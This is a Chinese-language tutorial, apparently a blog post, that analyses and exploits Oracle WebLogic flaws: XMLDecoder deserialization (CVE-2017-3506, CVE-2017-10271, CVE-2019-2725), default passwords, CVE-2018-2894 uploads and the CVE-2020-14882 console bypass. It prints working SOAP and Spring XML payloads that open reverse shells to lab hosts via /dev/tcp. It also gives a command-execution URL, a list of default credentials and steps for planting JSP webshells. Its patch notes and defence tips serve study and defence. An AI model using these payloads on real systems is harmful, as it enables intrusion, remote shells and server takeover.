Java安全之Weblogic漏洞分析与利用(下)
字数 1573 2025-08-24 07:48:10

WebLogic漏洞分析与利用全面指南

1. WebLogic简介

Oracle WebLogic Server是一个统一的可扩展平台,专用于开发、部署和运行Java应用等适用于本地环境和云环境的企业应用。它提供了强健、成熟和可扩展的Java Enterprise Edition (EE)和Jakarta EE实施方式,类似于Tomcat、Jboss等应用服务器。

2. 基于XML反序列化漏洞

2.1 前置知识

XMLDecoder

  • 用于读取使用XMLEncoder创建的XML文档
  • 使用方式类似于ObjectInputStream
  • 关键方法:
    XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("Test.xml")));
    Object result = d.readObject();
    d.close();
    

XMLEncoder

  • ObjectOutputStream的补充替代方案
  • 可用于生成JavaBean的文本表示
  • 示例:
    XMLEncoder e = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("Test.xml")));
    e.writeObject(new JButton("Hello, world"));
    e.close();
    

2.2 XMLDecoder反序列化测试

测试POC:

<java version="1.4.0" class="java.beans.XMLDecoder">
  <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
      <void index="0"><string>cmd</string></void>
      <void index="1"><string>/C</string></void>
      <void index="2"><string>calc</string></void>
    </array>
    <void method="start"/></void>
</java>

解析流程分析:

  1. 解析<void class="java.lang.ProcessBuilder">时创建VoidElementHandler对象
  2. 解析<array>标签创建数组
  3. 解析<string>标签及其内容
  4. 解析<void method="start"/>触发命令执行

关键调用栈:

  • XMLDecoder.readObject()
  • DocumentHandler.parse()
  • ObjectElementHandler.getValueObject()
  • Expression.getValue()触发ProcessBuilder.start()

2.3 CVE-2017-3506分析

影响版本

  • WebLogic 10.3.6.0
  • WebLogic 12.1.3.0
  • WebLogic 12.2.1.0-12.2.1.2

受影响URI

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

补丁分析
补丁添加了黑名单过滤object标签:

if (qName.equalsIgnoreCase("object")) {
    throw new IllegalStateException("Invalid context type: object");
}

2.4 CVE-2017-10271分析

环境搭建
修改docker-compose.yml添加8453端口映射用于调试

复现POC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.4.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0"><string>/bin/bash</string></void>
            <void index="1"><string>-c</string></void>
            <void index="2"><string>bash -i &gt;&amp; /dev/tcp/172.22.0.1/7777 0 &gt;&amp; 1</string></void>
          </array>
          <void method="start"/></void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

漏洞分析

  1. 请求通过WorkContextServerTube.processRequest处理
  2. 调用WorkContextXmlInputAdapter.readUTF()
  3. 最终调用XMLDecoder.readObject()触发反序列化

补丁分析
扩展了黑名单过滤:

if (qName.equalsIgnoreCase("object")) {
    throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("new")) {
    throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
    throw new IllegalStateException("Invalid element qName:method");
}

2.5 CVE-2019-2725分析

影响版本

  • WebLogic 10.X
  • WebLogic 12.1.3

受影响URI

/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https

复现POC

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" 
                  xmlns:wsa="http://www.w3.org/2005/08/addressing" 
                  xmlns:asy="http://www.bea.com/async/AsyncResponseService">
  <soapenv:Header>
    <wsa:Action>xx</wsa:Action>
    <wsa:RelatesTo>xx</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.4.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0"><string>/bin/bash</string></void>
            <void index="1"><string>-c</string></void>
            <void index="2"><string>bash -i &gt;&amp; /dev/tcp/172.22.0.1/7777 0 &gt;&amp; 1</string></void>
          </array>
          <void method="start"/></void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body>
    <asy:onAsyncDelivery/>
  </soapenv:Body>
</soapenv:Envelope>

补丁分析

  1. 禁止了class元素
  2. 限制了array元素的长度

3. 其他漏洞

3.1 弱口令漏洞

常见默认凭证

system/password
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
weblogic/Oracle@123

利用步骤

  1. 访问/console/login/LoginForm.jsp
  2. 使用弱口令登录
  3. 进入"部署->安装"上传WAR包
  4. 访问上传的WAR包中的JSP木马

密码文件位置

  • SerializedSystemIni.dat
  • config.xml (包含加密密码)

3.2 未授权访问漏洞

3.2.1 CVE-2018-2894

利用步骤

  1. 登录后台启用"Web服务测试页"
  2. 访问config.do设置上传目录为:
    /u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
    
  3. 上传JSP文件,访问时间戳+文件名形式的URL

或通过begin.do上传:

  1. 访问/ws_utc/begin.do
  2. 上传JSP文件
  3. 从响应中获取文件名访问

3.2.2 CVE-2020-14882

未授权访问URL

/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

命令执行POC

/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch%20/tmp/CVE-2020-14882%27);%22);

反弹Shell方法

  1. 创建XML文件:
    <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
      <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value><![CDATA[bash -i >& /dev/tcp/172.24.0.1/5555 0>&1]]></value>
          </list>
        </constructor-arg>
      </bean>
    </beans>
    
  2. 访问URL触发:
    /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://172.24.0.1:8080/cve-2020-14882-reverse-bash.xml")
    

4. 防御建议

  1. 及时安装官方安全补丁
  2. 修改默认密码,使用强密码策略
  3. 限制管理控制台的访问IP
  4. 关闭不必要的服务和端口
  5. 对XML输入进行严格过滤和验证
  6. 定期进行安全审计和漏洞扫描
WebLogic漏洞分析与利用全面指南 1. WebLogic简介 Oracle WebLogic Server是一个统一的可扩展平台,专用于开发、部署和运行Java应用等适用于本地环境和云环境的企业应用。它提供了强健、成熟和可扩展的Java Enterprise Edition (EE)和Jakarta EE实施方式,类似于Tomcat、Jboss等应用服务器。 2. 基于XML反序列化漏洞 2.1 前置知识 XMLDecoder 用于读取使用XMLEncoder创建的XML文档 使用方式类似于ObjectInputStream 关键方法: XMLEncoder ObjectOutputStream的补充替代方案 可用于生成JavaBean的文本表示 示例: 2.2 XMLDecoder反序列化测试 测试POC: 解析流程分析: 解析 <void class="java.lang.ProcessBuilder"> 时创建VoidElementHandler对象 解析 <array> 标签创建数组 解析 <string> 标签及其内容 解析 <void method="start"/> 触发命令执行 关键调用栈: XMLDecoder.readObject() DocumentHandler.parse() ObjectElementHandler.getValueObject() Expression.getValue() 触发ProcessBuilder.start() 2.3 CVE-2017-3506分析 影响版本 : WebLogic 10.3.6.0 WebLogic 12.1.3.0 WebLogic 12.2.1.0-12.2.1.2 受影响URI : 补丁分析 : 补丁添加了黑名单过滤object标签: 2.4 CVE-2017-10271分析 环境搭建 : 修改docker-compose.yml添加8453端口映射用于调试 复现POC : 漏洞分析 : 请求通过WorkContextServerTube.processRequest处理 调用WorkContextXmlInputAdapter.readUTF() 最终调用XMLDecoder.readObject()触发反序列化 补丁分析 : 扩展了黑名单过滤: 2.5 CVE-2019-2725分析 影响版本 : WebLogic 10.X WebLogic 12.1.3 受影响URI : 复现POC : 补丁分析 : 禁止了class元素 限制了array元素的长度 3. 其他漏洞 3.1 弱口令漏洞 常见默认凭证 : 利用步骤 : 访问 /console/login/LoginForm.jsp 使用弱口令登录 进入"部署->安装"上传WAR包 访问上传的WAR包中的JSP木马 密码文件位置 : SerializedSystemIni.dat config.xml (包含加密密码) 3.2 未授权访问漏洞 3.2.1 CVE-2018-2894 利用步骤 : 登录后台启用"Web服务测试页" 访问 config.do 设置上传目录为: 上传JSP文件,访问时间戳+文件名形式的URL 或通过 begin.do 上传: 访问 /ws_utc/begin.do 上传JSP文件 从响应中获取文件名访问 3.2.2 CVE-2020-14882 未授权访问URL : 命令执行POC : 反弹Shell方法 : 创建XML文件: 访问URL触发: 4. 防御建议 及时安装官方安全补丁 修改默认密码,使用强密码策略 限制管理控制台的访问IP 关闭不必要的服务和端口 对XML输入进行严格过滤和验证 定期进行安全审计和漏洞扫描